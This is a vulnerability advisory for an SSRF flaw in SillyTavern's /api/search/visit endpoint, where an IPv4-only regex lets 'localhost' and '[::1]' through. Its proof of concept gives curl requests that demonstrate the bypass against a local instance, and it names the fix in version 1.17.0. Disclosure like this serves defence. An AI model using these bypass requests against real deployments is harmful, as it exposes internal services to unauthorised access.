CVE-2026-34526: SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6
Details Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched. In src/endpoints/search.js line 419, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch: - localhost (hostname, not dotted-quad) - [::1] (IPv6 loopback) - DNS names resolving to internal addresses (e.g.
Published Apr 1, 2026 · Updated Apr 6, 2026
Affected packages
sillytavern
- Ecosystem
- npm
- Affected
- <= 1.16.0
- Fixed in
- 1.17.0
- Check
npm ls sillytavern
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Details
Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.
In src/endpoints/search.js line 419, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch:
localhost(hostname, not dotted-quad)[::1](IPv6 loopback)- DNS names resolving to internal addresses (e.g.
localtest.me-> 127.0.0.1)
A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.
PoC
- Start SillyTavern v1.16.0 normally
- Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):
# Blocked — dotted-quad matched by regex
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
-H "Content-Type: application/json" \
-d '{"url": "http://127.0.0.1/", "html": true}'
# Returns: 400 (blocked)
# Bypassed — "localhost" is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost/", "html": true}'
# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)
# Bypassed — IPv6 loopback is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
-H "Content-Type: application/json" \
-d '{"url": "http://[::1]/", "html": true}'
# Returns: 500 (passed validation, fetch attempted)The 400 vs 500 difference confirms localhost and [::1] pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.
Impact
Server-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.
Resolution
The issue was addressed in version 1.17.0 by improving IPv6 address validation
Credited to bulmax9797-sketch.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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